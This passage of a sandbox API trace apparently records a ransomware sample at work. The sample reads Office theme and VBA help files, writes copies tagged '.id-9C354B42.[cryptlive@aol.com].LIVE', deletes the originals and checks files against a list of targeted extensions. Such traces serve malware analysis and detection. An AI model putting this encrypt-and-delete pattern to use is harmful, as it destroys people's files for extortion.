nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.619] SetEndOfFile (hFile=0x1f8) returned 1 [0051.620] CloseHandle (hObject=0x1f8) returned 1 [0051.620] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.620] SetEndOfFile (hFile=0x200) returned 1 [0051.620] CloseHandle (hObject=0x200) returned 1 [0051.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0051.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.621] lstrlenW (lpString=".doc") returned 4 [0051.621] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.621] lstrlenW (lpString=".docx") returned 5 [0051.621] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.621] lstrlenW (lpString=".pdf") returned 4 [0051.621] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.621] lstrlenW (lpString=".xls") returned 4 [0051.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.621] lstrlenW (lpString=".xlsx") returned 5 [0051.621] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.621] lstrlenW (lpString=".ppt") returned 4 [0051.621] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.621] lstrlenW (lpString=".zip") returned 4 [0051.621] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.621] lstrlenW (lpString=".rar") returned 4 [0051.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString=".bz2") returned 4 [0051.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.622] lstrlenW (lpString=".7z") returned 3 [0051.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString=".dbf") returned 4 [0051.622] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString=".1cd") returned 4 [0051.622] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString=".jpg") returned 4 [0051.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString=".doc") returned 4 [0051.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.622] lstrlenW (lpString=".docx") returned 5 [0051.622] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.622] lstrlenW (lpString=".pdf") returned 4 [0051.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString=".xls") returned 4 [0051.622] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString=".xlsx") returned 5 [0051.622] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.622] lstrlenW (lpString=".ppt") returned 4 [0051.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.622] lstrlenW (lpString=".zip") returned 4 [0051.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString=".rar") returned 4 [0051.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.622] lstrlenW (lpString=".bz2") returned 4 [0051.623] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.875] lstrlenW (lpString=".7z") returned 3 [0051.875] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.875] lstrlenW (lpString=".dbf") returned 4 [0051.875] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.875] lstrlenW (lpString=".1cd") returned 4 [0051.875] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0051.875] lstrlenW (lpString=".jpg") returned 4 [0051.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.876] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.876] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.876] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3611) returned 1 [0051.876] CloseHandle (hObject=0x214) returned 1 [0051.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0051.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.877] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.877] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.093] GetLastError () returned 0x0 [0052.093] ReadFile (in: hFile=0x214, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0052.095] WriteFile (in: hFile=0x210, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0052.096] ReadFile (in: hFile=0x214, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.096] WriteFile (in: hFile=0x210, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.096] SetEndOfFile (hFile=0x210) returned 1 [0052.096] CloseHandle (hObject=0x210) returned 1 [0052.096] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.096] SetEndOfFile (hFile=0x214) returned 1 [0052.097] CloseHandle (hObject=0x214) returned 1 [0052.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.097] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.097] lstrlenW (lpString=".doc") returned 4 [0052.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.098] lstrlenW (lpString=".docx") returned 5 [0052.098] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.098] lstrlenW (lpString=".pdf") returned 4 [0052.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString=".xls") returned 4 [0052.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString=".xlsx") returned 5 [0052.098] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.098] lstrlenW (lpString=".ppt") returned 4 [0052.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.098] lstrlenW (lpString=".zip") returned 4 [0052.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString=".rar") returned 4 [0052.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString=".bz2") returned 4 [0052.098] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.098] lstrlenW (lpString=".7z") returned 3 [0052.098] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.098] lstrlenW (lpString=".dbf") returned 4 [0052.098] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.098] lstrlenW (lpString=".1cd") returned 4 [0052.098] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.098] lstrlenW (lpString=".jpg") returned 4 [0052.098] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.099] lstrlenW (lpString=".doc") returned 4 [0052.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.099] lstrlenW (lpString=".docx") returned 5 [0052.099] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.099] lstrlenW (lpString=".pdf") returned 4 [0052.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.099] lstrlenW (lpString=".xls") returned 4 [0052.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.099] lstrlenW (lpString=".xlsx") returned 5 [0052.099] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.099] lstrlenW (lpString=".ppt") returned 4 [0052.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.099] lstrlenW (lpString=".zip") returned 4 [0052.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.099] lstrlenW (lpString=".rar") returned 4 [0052.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.099] lstrlenW (lpString=".bz2") returned 4 [0052.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.099] lstrlenW (lpString=".7z") returned 3 [0052.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.099] lstrlenW (lpString=".dbf") returned 4 [0052.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.099] lstrlenW (lpString=".1cd") returned 4 [0052.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0052.099] lstrlenW (lpString=".jpg") returned 4 [0052.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.100] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0052.100] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.371] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=33479) returned 1 [0052.372] CloseHandle (hObject=0x178) returned 1 [0052.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0052.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.372] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.372] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0052.374] GetLastError () returned 0x0 [0052.374] ReadFile (in: hFile=0x178, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0052.582] WriteFile (in: hFile=0x1bc, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0052.583] ReadFile (in: hFile=0x178, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.583] WriteFile (in: hFile=0x1bc, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.584] SetEndOfFile (hFile=0x1bc) returned 1 [0052.584] CloseHandle (hObject=0x1bc) returned 1 [0052.584] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.584] SetEndOfFile (hFile=0x178) returned 1 [0052.585] CloseHandle (hObject=0x178) returned 1 [0052.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.585] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0052.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.585] lstrlenW (lpString=".doc") returned 4 [0052.585] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.585] lstrlenW (lpString=".docx") returned 5 [0052.585] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.585] lstrlenW (lpString=".pdf") returned 4 [0052.585] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.585] lstrlenW (lpString=".xls") returned 4 [0052.585] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.585] lstrlenW (lpString=".xlsx") returned 5 [0052.586] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.586] lstrlenW (lpString=".ppt") returned 4 [0052.586] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".zip") returned 4 [0052.586] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.586] lstrlenW (lpString=".rar") returned 4 [0052.586] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.586] lstrlenW (lpString=".bz2") returned 4 [0052.586] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString=".7z") returned 3 [0052.586] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".dbf") returned 4 [0052.586] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".1cd") returned 4 [0052.586] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".jpg") returned 4 [0052.586] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".doc") returned 4 [0052.586] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString=".docx") returned 5 [0052.586] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.586] lstrlenW (lpString=".pdf") returned 4 [0052.586] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.586] lstrlenW (lpString=".xls") returned 4 [0052.586] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.586] lstrlenW (lpString=".xlsx") returned 5 [0052.586] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.586] lstrlenW (lpString=".ppt") returned 4 [0052.586] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.586] lstrlenW (lpString=".zip") returned 4 [0052.587] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.587] lstrlenW (lpString=".rar") returned 4 [0052.587] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.587] lstrlenW (lpString=".bz2") returned 4 [0052.587] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.587] lstrlenW (lpString=".7z") returned 3 [0052.587] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.587] lstrlenW (lpString=".dbf") returned 4 [0052.587] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.587] lstrlenW (lpString=".1cd") returned 4 [0052.587] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0052.587] lstrlenW (lpString=".jpg") returned 4 [0052.587] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.587] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0052.587] lstrlenW (lpString="VBUI6.CHM") returned 9 [0052.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.742] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=416918) returned 1 [0052.742] CloseHandle (hObject=0x160) returned 1 [0052.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0052.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.742] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.743] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0052.743] GetLastError () returned 0x0 [0052.743] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0052.752] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0052.760] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: 